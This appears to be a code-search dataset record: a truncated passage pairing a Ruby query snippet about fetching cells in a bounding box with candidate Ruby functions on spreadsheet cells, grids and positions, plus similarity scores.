'number-columns-repeated')\n formula = attribute(cell, 'formula')\n value_type = attribute(cell, 'value-type')\n v = attribute(cell, 'value')\n style_name = attribute(cell, 'style-name')\n case value_type\n when 'string'\n str_v = ''\n # insert \\n if there is more than one paragraph\n para_count = 0\n cell.children.each do |str|\n # begin comments\n #=begin\n #- <table:table-cell office:value-type=\"string\">\n # - <office:annotation office:display=\"true\" draw:style-name=\"gr1\" draw:text-style-name=\"P1\" svg:width=\"1.1413in\" svg:height=\"0.3902in\" svg:x=\"2.0142in\" svg:y=\"0in\" draw:caption-point-x=\"-0.2402in\" draw:caption-point-y=\"0.5661in\">\n # <dc:date>2011-09-20T00:00:00</dc:date>\n # <text:p text:style-name=\"P1\">Kommentar fuer B4</text:p>\n # </office:annotation>\n # <text:p>B4 (mit Kommentar)</text:p>\n # </table:table-cell>\n #=end\n if str.name == 'annotation'\n str.children.each do |annotation|\n next unless annotation.name == 'p'\n # @comment ist ein Hash mit Sheet als Key (wie bei @cell)\n # innerhalb eines Elements besteht ein Eintrag aus einem\n # weiteren Hash mit Key [row,col] und dem eigentlichen\n # Kommentartext als Inhalt\n @comment[sheet] = Hash.new unless @comment[sheet]\n key = [row, col]\n @comment[sheet][key] = annotation.text\n end\n end\n # end comments\n if str.name == 'p'\n v = str.content\n str_v += \"\\n\" if para_count > 0\n para_count += 1\n if str.children.size > 1\n str_v += children_to_string(str.children)\n else\n str.children.each do |child|\n str_v += child.content #.text\n end\n end\n str_v = str_v.gsub(/&apos;/, \"'\") # special case not supported by unescapeHTML\n str_v = CGI.unescapeHTML(str_v)\n end # == 'p'\n end\n when 'time'\n cell.children.each do |str|\n v = str.content if str.name == 'p'\n end\n when '', nil, 'date', 'percentage', 'float'\n #\n when 'boolean'\n v = attribute(cell, 'boolean-value').to_s\n end\n if skip_col\n if !v.nil? || cell.attributes['date-value']\n 0.upto(skip_col.to_i - 1) do |i|\n set_cell_values(sheet, col, row, i, v, value_type, formula, cell, str_v, style_name)\n end\n end\n col += (skip_col.to_i - 1)\n end # if skip\n set_cell_values(sheet, col, row, 0, v, value_type, formula, cell, str_v, style_name)\n col += 1\n end\n row += 1\n col = 1\n end\n end\n end\n doc.xpath(\"//*[local-name()='automatic-styles']\").each do |style|\n read_styles(style)\n end\n\n fail RangeError unless sheet_found\n\n @cells_read[sheet] = true\n @comments_read[sheet] = true\n end", "def cell(row_num, col_num)\n return @puzzle[row_num][col_num]\n end", "def cell(row, col, sheet=nil)\n sheet = @default_sheet unless sheet\n check_default_sheet #TODO: 2007-12-16\n read_cells(sheet) unless @cells_read[sheet]\n row,col = normalize(row,col)\n value = @cell[sheet][\"#{row},#{col}\"]\n if celltype(row,col,sheet) == :date\n begin\n return Date.strptime(value, @date_format)\n rescue ArgumentError\n raise \"Invalid Date #{sheet}[#{row},#{col}] #{value} using format '{@date_format}'\"\n end\n elsif celltype(row,col,sheet) == :datetime\n begin\n return DateTime.strptime(value, @datetime_format)\n rescue ArgumentError\n raise \"Invalid DateTime #{sheet}[#{row},#{col}] #{value} using format '{@datetime_format}'\"\n end\n end \n return value\n end", "def persist_cell\n cell = Row::Cell.new cur_family, cur_qaul, cur_ts, cur_val, cur_labels\n row.cells[cur_family] << cell\n\n # Clear cached cell values\n self.cur_val = nil\n self.cur_ts = nil\n self.cur_labels = nil\n end", "def get_cell_float key_symbol, column_index\n @onclick_terms[key_symbol].each do |title_phrase|\n query='//a[contains(@onclick, \"'+ title_phrase + '\")]/../../td[contains(@class, \"num\")]'\n object = get_nokogiri_objects(query)[column_index]\n # if the above returns an object then execute the rest of the method\n # next unless object\n if object then return get_appropriate_sign_integer object\n else return nil end\n end\n end", "def formula(row,col,sheet=nil)\n sheet = @default_sheet unless sheet\n read_cells(sheet) unless @cells_read[sheet]\n row,col = normalize(row,col)\n if @formula[sheet][[row,col]] == nil\n return nil\n else\n return @formula[sheet][[row,col]]\n end\n end", "def lh_cell\n v1.cells[(clockwise_directions.index(direction) + 3) % 4]\n end", "def object_position(obj)\n return obj.x\n end", "def object_position(obj)\n return obj.x\n end", "def position\n @entry.position\n end", "def pos()\n #This is a stub, used for indexing\n end", "def read_cell_content(row, idx)\n cell = row.at(idx)\n if cell.class == ::Spreadsheet::Formula\n # Formulas oftentimes lose type information\n cell = cell.value.to_f rescue cell.value\n cell = cell.to_i if (cell.to_f % 1).zero? rescue cell\n end\n\n cell\n end", "def start_cell\n if options[:type] == :polar\n grid[grid.rows-1, 0]\n else\n if !options[:distances] || options[:distances] == :auto\n column = grid.columns.times.find {|i| grid[0,i] }\n return grid[0,column] if column\n row = grid.rows.times.find {|i| grid[i,0] }\n return grid[row,0]\n else\n grid[*options[:distances]]\n end\n end\n end", "def position \n\t\treturn @y,@x\n\tend", "def cell_params\n params.require(:cell).permit(:coordinate_x, :coordinate_y, :cell_type)\n end", "def report\n return unless placed?\n [@pos_x, @pos_y, @direction[:value]]\n end", "def definition\n definition = self.class.definition_for(self.name)\n if definition.blank?\n log_warning \"Could not find cell definition for #{self.name}. Please check your cells.yml!\"\n return {}\n else\n definition\n end\n end", "def cell(row, column)\n Cell.new(@data, row, column)\n end", "def position(location)\n @cells[location.to_i - 1]\n end", "def position(location)\n @cells[location.to_i - 1]\n end", "def get_cells(rows, columns)\n cells = []\n rows.each do |r|\n columns.each do |c|\n cells << @fields[r][c]\n end\n end\n cells\n end", "def get_other_row_cells cell\n\t\treturn get_row_cells(get_row cell) - [cell]\n\tend", "def cell_coords(date)\n x = cell_width * date.wday\n y = (@doc.bounds.top - 1.in) - (cell_height * cell_row(date))\n [x, y]\n end", "def build_cell(cell)\n # implement in row class\n nil\n end", "def give_cell_status\n cell = get_cell\n cell_status(cell)\n end", "def position(input)\n\t\tcells[input.to_i - 1]\n\tend", "def inspect sx, sy, tx, ty\n grid = (@height+2).times.map{ (@width+2).times.map{'-'} }\n grid[sy][sx] = 'S'\n grid[ty][tx] = 'T'\n grid.each_with_index do |row, i|\n row.each_with_index do |node, j|\n if i == sy and j == sx\n print \"S\"\n elsif i == ty and j == tx\n print \"T\"\n else\n print \"+\"\n end\n if @obs[[j, i, j+1, i]]\n print \" x \"\n else\n print \"---\" \n end\n end\n puts\n row.each_with_index do |node, j|\n if @obs[[j, i, j, i+1]]\n print \"x\"\n else\n print \"|\" \n end\n print \" \"\n end\n puts\n end\n end", "def position_coordinates(character)\n which_row = []\n which_cell = []\n (0...@n).each { |i| prepare_set(i, character, which_row, which_cell) }\n [which_row, which_cell]\n end", "def position(as: :units)\n if as == :mm\n {\n x: x_position(as: :mm, unit_width: unit_width),\n y: y_position(as: :mm, unit_height: unit_height)\n }\n else\n {\n x: number,\n y: row.number\n }\n end\n end", "def find_princess_position\n position_coordinates('p')\n end", "def check_cell_status(x_coord, y_coord)\n\t\treturn @state[x_coord][y_coord].content\n\tend" ]
[ "0.62560666", "0.6222559", "0.62159985", "0.62159985", "0.60673016", "0.5987495", "0.5933318", "0.58349663", "0.5792557", "0.57904845", "0.5641396", "0.56357855", "0.56024545", "0.5574954", "0.5553867", "0.5543224", "0.5542443", "0.55342656", "0.55334157", "0.55284816", "0.55245286", "0.5497564", "0.5466105", "0.5463202", "0.5450129", "0.544971", "0.5371137", "0.5362358", "0.5360044", "0.53448874", "0.53342927", "0.5332761", "0.53295624", "0.53260386", "0.531652", "0.5301983", "0.527805", "0.5266941", "0.5257996", "0.5257797", "0.5247264", "0.52243406", "0.5204521", "0.52018523", "0.52002484", "0.5195848", "0.51942277", "0.519137", "0.5177179", "0.5171469", "0.51645976", "0.51613945", "0.5156235", "0.51492375", "0.5142636", "0.5138135", "0.5133476", "0.5119092", "0.5106268", "0.51016057", "0.51016057", "0.5099684", "0.505733", "0.5049501", "0.50237197", "0.5022202", "0.5022145", "0.50166637", "0.5015065", "0.5008279", "0.500568", "0.5004936", "0.49991548", "0.49856287", "0.498501", "0.49839216", "0.49837816", "0.49834767", "0.49735817", "0.49689063", "0.49592128", "0.49585032", "0.49584678", "0.4952236", "0.4950696", "0.494783", "0.49470136", "0.49414405", "0.49414405", "0.49408266", "0.49364614", "0.49328715", "0.493286", "0.49313787", "0.49261045", "0.49221697", "0.49218664", "0.49149925", "0.4909641", "0.49080962" ]
0.6489639
0
Retrieves all the cells located inside the bounding box and whose parameters match the ones specified in the options
def get_cells_in_area(bbox, options = {}) raise ArgumentError, 'options must be a Hash' unless options.is_a? Hash raise ArgumentError, 'bbox must be of type BBox' unless bbox.is_a? BBox params = {bbox: bbox.to_s, fmt: 'xml'} params.merge!(options.reject { |key| !GET_IN_AREA_ALLOWED_PARAMS.include? key}) exec_req_and_parse_response '/cell/getInArea', params end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def data(bounding_box)\n top, left, bottom, right = bounding_box.coords\n @table.where(:lng => (left..right), :lat => (bottom..top)).all\n end", "def cells(options = {}, &block)\n cell_regex = /^cell_([0-9]+)_/\n\n options ||= { }\n\n result = block_given? ? yield : (options[:values] || [''])\n\n cell_options = result.map { {} }\n common_options = {}\n\n options.each do |k,v|\n # if the option starts with 'cell_#_' then apply it accordingly.\n if (m = cell_regex.match(k.to_s))\n k = k.to_s[m[0].length..-1].to_sym\n cell_options[m[1].to_i - 1][k] = v\n\n # the 'column' option applies only to the first cell.\n elsif k == :column\n cell_options[0][k] = v\n\n # everything else applies to all cells, unless overridden explicitly.\n elsif k != :values\n common_options[k] = v\n end\n end\n\n cell_options.each_with_index do |opt,idx|\n cell common_options.merge(opt).merge( { value: result[idx] } )\n end\n end", "def getInArea\n max=params[:max]||100\n\tlimit=params[:limit]||200\n\tif params[:mcc] then mcc=\" mcc=\"+params[:mcc]+\" AND \" else mcc=\"\" end\n\tif params[:mnc] then mnc=\" mnc=\"+params[:mnc]+\" AND \" else mnc=\"\" end\n if params[:BBOX]\n bbox=params[:BBOX].split(',')\n r=Rect.new bbox[0].to_f,bbox[1].to_f,bbox[2].to_f,bbox[3].to_f\n else\n r=Rect.new -180.to_f,-90.to_f,180.to_f,90.to_f\n end\n @cells=Cell.find_by_sql(\"SELECT * from cells where \"+mcc+mnc+\" lat>=\"+r.minLat.to_s+\" and lat<=\"+r.maxLat.to_s+\" and lon>=\"+r.minLon.to_s+\" and lon<=\"+r.maxLon.to_s+\" LIMIT \"+limit.to_s)\n if params[:fmt]==\"xml\"\n render(:action=>\"listXml\",:layout=>false)\n elsif params[:fmt]==\"txt\"\n\t\theaders['Content-Type'] = \"text/plain\" \n render(:action=>\"listCsv\",:layout=>false)\n else\n render(:action=>\"listKml\",:layout=>false)\n end\n end", "def scan_cells(&block)\n scan_all(cells_criteria, &block)\n end", "def get_cells(y_index, x_index, y_vector, x_vector, velocity)\n cells = []\n\n for i in 0 .. velocity\n x = (x_vector * i) + x_index\n y = (y_vector * i) + y_index\n if cell_in_grid(y, x)\n cells.push(OpenStruct.new(:x => x, :y => y, :val => $grid[y][x]))\n end\n\n end\n return cells\nend", "def points(bounding_box)\n top, left, bottom, right = bounding_box.coords\n @table.where(:lng => (left..right), :lat => (bottom..top)).all.\n map { |row| MapKit::Point.new(row[:lat], row[:lng]) }\n end", "def intersect(boundingbox)\n end", "def find_neighbors(cell)\n min_r = [0, cell.row - 1].max\n max_r = [cell.row + 1, rows - 1].min\n min_c = [0, cell.column - 1].max\n max_c = [cell.column + 1, columns - 1].min\n\n get_cells(min_r..max_r, min_c..max_c).select { |x| x unless x == cell }\n end", "def getEntitySearchWhatByboundingbox( what, latitude_1, longitude_1, latitude_2, longitude_2, per_page, page, country, language, domain, path, restrict_category_ids)\n params = Hash.new\n params['what'] = what\n params['latitude_1'] = latitude_1\n params['longitude_1'] = longitude_1\n params['latitude_2'] = latitude_2\n params['longitude_2'] = longitude_2\n params['per_page'] = per_page\n params['page'] = page\n params['country'] = country\n params['language'] = language\n params['domain'] = domain\n params['path'] = path\n params['restrict_category_ids'] = restrict_category_ids\n return doCurl(\"get\",\"/entity/search/what/byboundingbox\",params)\n end", "def within_gridcell(*arguments, **options, &block)\n within(:gridcell, *arguments, **options, &block)\n end", "def cells\n @cells\n end", "def cells\n @cells\n end", "def bounding_box\r\n max_x, min_x, max_y, min_y = -Float::MAX, Float::MAX, -Float::MAX, Float::MAX, -Float::MAX, Float::MAX \r\n if with_z\r\n max_z, min_z = -Float::MAX, Float::MAX\r\n each do |geometry|\r\n bbox = geometry.bounding_box\r\n sw = bbox[0]\r\n ne = bbox[1]\r\n \r\n max_y = ne.y if ne.y > max_y\r\n min_y = sw.y if sw.y < min_y\r\n max_x = ne.x if ne.x > max_x\r\n min_x = sw.x if sw.x < min_x \r\n max_z = ne.z if ne.z > max_z\r\n min_z = sw.z if sw.z < min_z \r\n end\r\n [Point.from_x_y_z(min_x,min_y,min_z),Point.from_x_y_z(max_x,max_y,max_z)]\r\n else\r\n each do |geometry|\r\n bbox = geometry.bounding_box\r\n sw = bbox[0]\r\n ne = bbox[1]\r\n \r\n max_y = ne.y if ne.y > max_y\r\n min_y = sw.y if sw.y < min_y\r\n max_x = ne.x if ne.x > max_x\r\n min_x = sw.x if sw.x < min_x \r\n end\r\n [Point.from_x_y(min_x,min_y),Point.from_x_y(max_x,max_y)]\r\n end\r\n end", "def subset_bounding_box *indices\n subset = @vbuffer.nget([*indices].flatten)\n Cuboid.new subset.min(1).to_a, subset.max(1).to_a\n end", "def geo_within_box_query(box)\n {\n '$geoWithin' => {\n '$box' => [[box.w, box.s], [box.e, box.n]]\n }\n }\n end", "def get_cells(rows, columns)\n cells = []\n rows.each do |r|\n columns.each do |c|\n cells << @fields[r][c]\n end\n end\n cells\n end", "def cells_overlapping(x, y)\n cells_at_points(corner_points_of_entity(x, y)).collect {|cx, cy| at(cx, cy) }\n end", "def find_cell(cells, x, y)\n cells.detect{|cell| cell.x == x && cell.y == y }\nend", "def unblocked_cells(options = {})\n cells.select {|c, v| v.empty? || v.content == 'R' || v.content == 'C' }\n end", "def search_within(bounding_box, query, offset = 0, limit = 5, language = 'english')\n if bounding_box[:sw][:latitude]\n many.search_within(query, language, limit, offset, bounding_box[:sw][:latitude], bounding_box[:sw][:longitude], bounding_box[:ne][:latitude], bounding_box[:ne][:longitude]).map { |attributes| PublicEarth::Db::Place.new(attributes) }\n else\n many.search(query, language, limit, offset).map { |attributes| PublicEarth::Db::Place.new(attributes) }\n end\n end", "def available_cells\n cells = []\n rows.each_with_index do |row, ri|\n row.each_with_index do |cell, ci|\n cells << [ri, ci] if cell.nil?\n end\n end\n cells\n end", "def cells(opts = {})\n CellCollection.new(self, opts)\n end", "def getEntitySearchByboundingbox( latitude_1, longitude_1, latitude_2, longitude_2, per_page, page, country, language, domain, path, restrict_category_ids)\n params = Hash.new\n params['latitude_1'] = latitude_1\n params['longitude_1'] = longitude_1\n params['latitude_2'] = latitude_2\n params['longitude_2'] = longitude_2\n params['per_page'] = per_page\n params['page'] = page\n params['country'] = country\n params['language'] = language\n params['domain'] = domain\n params['path'] = path\n params['restrict_category_ids'] = restrict_category_ids\n return doCurl(\"get\",\"/entity/search/byboundingbox\",params)\n end", "def cells\n @cells ||= coordinates.collect {|coordinate| Cell.new(coordinate: coordinate)}\n end", "def bounds\n @bounding_box\n end", "def cells\n @cells ||= []\n end", "def bbox\n envelope = GeoRuby::SimpleFeatures::Geometry.from_hex_ewkb(extent).envelope #TODO: replace with rgeo\n [envelope.lower_corner.x, envelope.lower_corner.y, envelope.upper_corner.x, envelope.upper_corner.y]\n end", "def bounding_box\n north_east = @data['bounds']['northeast']\n south_west = @data['bounds']['southwest']\n \n [north_east['lat'], north_east['lng'], south_west['lat'], south_west['lng']]\n end", "def find_all_options(num_index)\n square_options = get_group(@puzzle_grid_in_squares,num_index)\n\n column_options = get_group(@puzzle_grid_in_columns,num_index)\n\n row_options = get_group(@puzzle_grid_in_rows,num_index)\n\n all_options = square_options + column_options + row_options\n\n find_triplets(all_options)\n end", "def sudoku_with_options(grid_lines, grid_columns, sudoku)\n sudoku_grids = sudoku_grids(grid_lines, grid_columns, sudoku)\n sudoku_flatten = sudoku.map { |element| element.flatten }\n sudoku_transpose_flatten = sudoku.transpose.map { |element| element.flatten }\n\n sudoku_with_options = []\n line_index = 0\n\n sudoku_with_options = sudoku.each_with_index do |line, line_index|\n cell_index = 0\n line.each_with_index do |cell, cell_index|\n sudoku_grids_index = (line_index / grid_lines) * grid_lines + (cell_index / grid_columns)\n unless cell.length == 1\n (1..grid_size(grid_lines, grid_columns)).to_a.each do |i|\n cell << i unless sudoku_flatten[line_index].include?(i) || sudoku_transpose_flatten[cell_index].include?(i) || sudoku_grids[sudoku_grids_index].include?(i)\n end\n end\n cell_index += 1\n end\n line_index += 1\n end\n return sudoku_with_options\nend", "def cells(*args)\n args.each { |col| cell(col) }\n @cells\n end", "def gen_cells args = {}\n\t\t\tx = args[:x] || 0\n\t\t\ty = args[:y] || 0\n\t\t\tw = args[:w] || 32\n\t\t\th = args[:h] || 32\n\n\t\t\tcell_count = {\n\t\t\t\tx: (current_room.w.to_f / w.to_f).floor,\n\t\t\t\ty: (current_room.h.to_f / h.to_f).floor\n\t\t\t}\n\n\t\t\treturn cell_count[:y].times.map do |row|\n\t\t\t\tnext cell_count[:x].times.map do |col|\n\t\t\t\t\tnext Cell.new(\n\t\t\t\t\t\tx: (w * col),\n\t\t\t\t\t\ty: (h * row),\n\t\t\t\t\t\tw: w, h: h,\n\t\t\t\t\t\tindex: { x: col, y: row },\n\t\t\t\t\t\tsolid: false\n\t\t\t\t\t)\n\t\t\t\tend\n\t\t\tend .flatten\n\t\tend", "def bounding_box\r\n unless with_z\r\n [Point.from_x_y(@x,@y),Point.from_x_y(@x,@y)]\r\n else\r\n [Point.from_x_y_z(@x,@y,@z),Point.from_x_y_z(@x,@y,@z)]\r\n end\r\n end", "def cells_near cell\n near_cells = []\n CELL_NEIGHBOURHOOD.each do |state|\n c = [cell[0] + state[0], cell[1] + state[1]]\n if @cells.include? c then\n near_cells.push c\n end\n end\n return near_cells\n end", "def get_bounds\n # Go throug all blocks to find the bounds of this shape\n x_min = []\n y_min = []\n x_max = []\n y_max = []\n @blocks.each do |block| \n x_min << block.x\n y_min << block.y\n \n x_max << block.x + block.width\n y_max << block.y + block.height\n end\n\n return [x_min.min, y_min.min, x_max.max, y_max.max]\n end", "def bbox(index)\n list(tk_send_without_enc('bbox', _get_eval_enc_str(index)))\n end", "def bounding_box\r\n end", "def occupied_positions\n cells.select {|cell| cell.occupied?}\n end", "def available_page_cells(page)\n page.cells.select do |cell|\n cell.available_elements.include?(self.name)\n end\n end", "def each_cell(rect)\n (rect.top_left.left..rect.top_right.left).each do |left|\n (rect.top_left.top..rect.bottom_left.top).each do |top|\n yield left, top\n end\n end\nend", "def cell_params\n params.require(:cell).permit(:x, :y, :type_id, :value)\n end", "def occupied_cells(x = @x, y = @y)\n x_array = (left_cell_x(x) .. right_cell_x(x)).to_a\n y_array = (top_cell_y(y) .. bottom_cell_y(y)).to_a\n x_array.product(y_array)\n end", "def occupied_cells(x = @x, y = @y)\n x_array = (left_cell_x(x) .. right_cell_x(x)).to_a\n y_array = (top_cell_y(y) .. bottom_cell_y(y)).to_a\n x_array.product(y_array)\n end", "def evolve\n\t\tcheckCells\n\t\tupdateCells\n\t\treturn @cells\n\tend", "def cells_at_points(coords)\n coords.collect {|x, y| cell_at_point(x, y) }.to_set\n end", "def active_cells; @cells.select(&:active?) end", "def bounds\n {\n :sw => self.sw,\n :ne => self.ne\n }\n end", "def estimate_region(bots, r2)\n x0, y0, z0, x1, y1, z1 = r2.all_points\n corners = [\n NanoBot.new(x0, y0, z0, 0),\n NanoBot.new(x0, y0, z1, 0),\n NanoBot.new(x0, y1, z0, 0),\n NanoBot.new(x0, y1, z1, 0),\n NanoBot.new(x1, y0, z0, 0),\n NanoBot.new(x1, y0, z1, 0),\n NanoBot.new(x1, y1, z0, 0),\n NanoBot.new(x1, y1, z1, 0)\n ]\n upper_bound = 0\n lower_bound = 0\n\n bots.each do |bot|\n # Is the bot actually sitting inside the box?\n corners_in_range =\n corners.select { |corner| bot.has_target_in_range(corner) }.count\n if corners_in_range == 8\n upper_bound += 1\n lower_bound += 1\n elsif corners_in_range > 0\n upper_bound += 1\n elsif bot.x >= x0 && bot.x <= x1 && bot.y >= y0 && bot.y <= y1 &&\n bot.z >= z0 &&\n bot.z <= z1\n # ^ Checks to see if bot is sitting inside the range\n upper_bound += 1\n elsif is_on_face(bot, Region.new(x0, y0, z0, x1, y1, z1))\n #puts 'END SUCCESS scanning faces'\n # Check along all 6 faces to see if points are in range..(slow?)\n upper_bound += 1\n end\n end\n [upper_bound, lower_bound]\nend", "def create_cells_optimized(cells = {}, valid_values = {})\n new_cells = []\n cells.each do |cell_id, fields| # hash is {item=>x, value=>y, qtype=>z, col=>a, row=>b}\n value = fields[:value]\n next if value.blank? # skip blanks\n fields[:answer_id] = self.id\n fields[:answertype] = valid_values[cell_id][:type] # not necessarily needed\n fields[:item] = valid_values[cell_id][:item] # save item, used to calculate score\n \n if valid_values[cell_id][:type] =~ /Rating|SelectOption/ # validates value for rating and selectoption\n # only save valid values, do not save empty answer cells\n next if !valid_values[cell_id][:values].include?(value) # skip invalid ratings & selectoptions\n # value = \"\" if value.blank? # only save 9 as unanswered for rating and selectoption\n fields[:value] = value if valid_values[cell_id][:values].include? value # only save valid value\n else\n fields[:value] = CGI.escape(value.gsub(/\\r\\n?/,' ').strip) # TODO: escaping of text (dangerous here!)\n end\n new_cells << [fields[:answer_id], fields[:row], fields[:col], fields[:item], fields[:answertype], fields[:value]]\n end\n # puts \"create_cells: #{new_cells.size} cells\"\n return new_cells\n end", "def link_cells\n (0...rows).each do |r|\n (0...columns).each do |c|\n cell = @fields[r][c]\n cell.neighbors = find_neighbors(cell)\n end\n end\n end", "def find\n set_user_and_user_areas\n @areas = Area.find_all_by_geom([[params[:min_y], params[:min_x]], \n [params[:max_y], params[:max_x]]])\n @map = Variable.new(\"map\")\n end", "def search_within(keywords, options = {})\n bounds = options[:bounds] || nil\n keywords = '*:*' if keywords.blank?\n \n logger.debug \"Search Query: #{spatial_query(bounds)}#{keywords}\"\n \n if bounds.present?\n results = solr_server.find(\"#{spatial_query(bounds)}#{keywords}\", options.merge(:qt => 'full', \n :results => Atlas::Extensions::Place::PlaceResults))\n else\n results = solr_server.find(keywords, options.merge(:qt => 'full', :results => Atlas::Extensions::Place::PlaceResults))\n end\n \n { :places => results, :selected => nil, :where => nil, :query => (keywords == '*:*' && '' || keywords) }\n end", "def highlight_cells(cells)\n return if cells.empty?\n @mack.highlight_cells coordinates_of(cells)\n end", "def cells_grid_1by1\n [\n [\n MazeMagic::Maze::Edge.instance,\n MazeMagic::Maze::HorizontalWall.instance,\n MazeMagic::Maze::Edge.instance\n ],\n [\n MazeMagic::Maze::VerticalWall.instance,\n MazeMagic::Maze::HorizontalWall.instance,\n MazeMagic::Maze::VerticalWall.instance\n ]\n ]\n end", "def live_neighbours_around_cell(cell)\n live_neighbours = []\n\n #check top cell\n if cell.x_axis > 0\n # puts \"Cell dimen1: #{cell.x_axis}:#{cell.y_axis}\"\n candidate = self.cell_grid[cell.x_axis - 1][cell.y_axis]\n # puts \"Candidate #{candidate.inspect}\"\n live_neighbours << candidate if candidate.alive?\n end\n #check right cell\n if cell.y_axis < (columns-1)\n # puts \"Cell dimen2: #{cell.x_axis}:#{cell.y_axis}\"\n candidate = self.cell_grid[cell.x_axis][cell.y_axis + 1]\n # puts \"Candidate #{candidate.inspect}\"\n live_neighbours << candidate if candidate.alive?\n end\n #check left cell\n if cell.y_axis > 0\n # puts \"Cell dimen3: #{cell.x_axis}:#{cell.y_axis}\"\n candidate = self.cell_grid[cell.x_axis][cell.y_axis - 1]\n # puts \"Candidate #{candidate.inspect}\"\n live_neighbours << candidate if candidate.alive?\n end\n # #check bottom cell\n if cell.x_axis < (rows-1)\n # puts \"Cell dimen4: #{cell.x_axis}:#{cell.y_axis}\"\n candidate = self.cell_grid[cell.x_axis + 1][cell.y_axis]\n # puts \"Candidate #{candidate.inspect}\"\n live_neighbours << candidate if candidate.alive?\n end\n # #check top left\n if cell.x_axis > 0 and cell.y_axis > 0\n # puts \"Cell dimen5: #{cell.x_axis}:#{cell.y_axis}\"\n candidate = self.cell_grid[cell.x_axis - 1][cell.y_axis - 1]\n # puts \"Candidate #{candidate.inspect}\"\n live_neighbours << candidate if candidate.alive?\n end\n # #check top right\n if cell.x_axis > 0 and cell.y_axis < (columns-1)\n # puts \"Cell dimen6: #{cell.x_axis}:#{cell.y_axis}\"\n candidate = self.cell_grid[cell.x_axis - 1][cell.y_axis + 1]\n # puts \"Candidate #{candidate.inspect}\"\n live_neighbours << candidate if candidate.alive?\n end\n # #check bottom left\n if cell.x_axis < (rows - 1) and cell.y_axis > 0\n # puts \"Cell dimen7: #{cell.x_axis}:#{cell.y_axis}\"\n candidate = self.cell_grid[cell.x_axis + 1][cell.y_axis - 1]\n # puts \"Candidate #{candidate.inspect}\"\n live_neighbours << candidate if candidate.alive?\n end\n # #check bottom right\n if cell.x_axis < (rows - 1) and cell.y_axis < (columns - 1)\n # puts \"Cell dimen8: #{cell.x_axis}:#{cell.y_axis}\"\n candidate = self.cell_grid[cell.x_axis + 1][cell.y_axis + 1]\n # puts \"Candidate #{candidate.inspect}\"\n live_neighbours << candidate if candidate.alive?\n end\n live_neighbours\n end", "def bounds\n end", "def boxes\n wayfinder.decorated_ephemera_boxes\n end", "def neighbours_boundries(cell_cords, dimension)\n [0, cell_cords - 1].max..[cell_cords + 1, dimension - 1].min\n end", "def possibilities(x, y, letter)\n p = []\n for i in x-1..x+1\n for j in y-1..y+1\n # if [i, j] isn't in the grid or not on the cross center on [x, y], continue\n if ((i < 0 || i >= self.size || j < 0 || j >= self.size) || (x-i != 0 && y-j != 0) || (i == x && j == y))\n next\n end\n\n if (@grid[i][j] == letter)\n p.push({x: i, y: j})\n end\n end\n end\n return p\n end", "def bounding_box\r\n unless with_z\r\n @rings[0].bounding_box\r\n else\r\n result = @rings[0].bounding_box #valid for x and y\r\n max_z, min_z = result[1].z, result[0].z\r\n 1.upto(size - 1) do |index|\r\n bbox = @rings[index].bounding_box\r\n sw = bbox[0]\r\n ne = bbox[1]\r\n max_z = ne.z if ne.z > max_z\r\n min_z = sw.z if sw.z < min_z \r\n end\r\n result[1].z, result[0].z = max_z, min_z\r\n result\r\n end\r\n end", "def bounding_box\n Rectangle[position, Point[@image.width, @image.height]]\n end", "def fortress_exit_cells\n FortressCell.where(\"mini_map_id = ? and (x = 0 or y = 0 or x = ? or y = ?) and symbol = ? and squad_id is null\", mini_map.id, fortress_x_size, fortress_y_size, :concrete.to_s)\n end", "def cells\n rows.map { |r| r[key] }\n end", "def format_bbox(box)\n box.values.each_slice(2).to_a\n end", "def base_cell_options\n @base_cell_options\n end", "def generate_hints\n @field.each_with_index do |row, x|\n row.each_with_index do |h, y|\n getsq(x,y)[:hint] = get_nearby_mines(x,y)\n end\n end\n end", "def bbox\n minx = start_longitude_dec.present? ? start_longitude_dec.to_f : nil\n miny = start_latitude_dec.present? ? start_latitude_dec.to_f : nil\n maxx = end_longitude_dec.present? ? end_longitude_dec.to_f : minx\n maxy = end_latitude_dec.present? ? end_latitude_dec.to_f : miny\n lats = [miny, maxy].sort\n lngs = [minx, maxx].sort\n [lngs[0], lats[0], lngs[1], lats[1]]\n end", "def getEntitySearchWhoByboundingbox( who, latitude_1, longitude_1, latitude_2, longitude_2, per_page, page, country, language, domain, path, restrict_category_ids)\n params = Hash.new\n params['who'] = who\n params['latitude_1'] = latitude_1\n params['longitude_1'] = longitude_1\n params['latitude_2'] = latitude_2\n params['longitude_2'] = longitude_2\n params['per_page'] = per_page\n params['page'] = page\n params['country'] = country\n params['language'] = language\n params['domain'] = domain\n params['path'] = path\n params['restrict_category_ids'] = restrict_category_ids\n return doCurl(\"get\",\"/entity/search/who/byboundingbox\",params)\n end", "def cell_in_grid(y, x)\n return y >= 0 && x >= 0 && y < $grid.length && x < $grid.length\nend", "def bounding_box\n r = @radius\n bottom_left = Point[@centre.x - r, @centre.y - r]\n top_right = Point[@centre.x + r, @centre.y + r]\n [bottom_left, top_right]\n end", "def get_cells(missile)\n all_affected_cells = []\n missile.split(\"=>\").length > 1 ? (type, start_at = missile.split(\"=>\")) : (return missile)\n height, width = start_at.split(\"\")\n start_height_at = get_start_height(height)\n start_width_at = width.to_i > 1 ? width.to_i - 1 : width.to_i\n (start_height_at..height.next).each do |rows|\n (start_width_at..width.to_i+1).each do |column|\n if type == \"b\"\n all_affected_cells << \"#{rows}#{column}\" if (rows == height || column == width.to_i)\n elsif type == \"c\"\n all_affected_cells << \"#{rows}#{column}\" unless (rows == height || column == width.to_i)\n all_affected_cells << start_at unless all_affected_cells.include?(start_at)\n else\n all_affected_cells << \"#{rows}#{column}\"\n end\n end\n end\n return all_affected_cells\n end", "def cell_filtering_params\n params.fetch(:cell_filtering, {})\n end", "def get_region_cells image, color, visited = [], in_region = []\n all_cells = image.all_cells\n visited << self\n visited.uniq!\n\n in_region << self if self.value == color\n in_region.uniq!\n nb = get_neighbors(image) - visited\n nb.each do |cell|\n if visited.include?(all_cells)\n break\n else\n cell.get_region_cells image, color, visited, in_region\n end\n\n end\n\n return in_region\n\n end", "def cells\n attributes.fetch(:cells)\n end", "def calculate_boundaries!\n return unless @dirty\n\n # Init to vals of first point\n # We will do it this way so we only need one iteration\n point = @points.first\n @minx = point.x\n @maxx = point.x\n @miny = point.y\n @maxy = point.y\n @points.each do |point|\n @minx = [@minx, point.x].min\n @maxx = [@maxx, point.x].max\n @miny = [@miny, point.y].min\n @maxy = [@maxy, point.y].max\n end\n @grid_width = @maxx - @minx\n @grid_height = @maxy - @miny\n\n 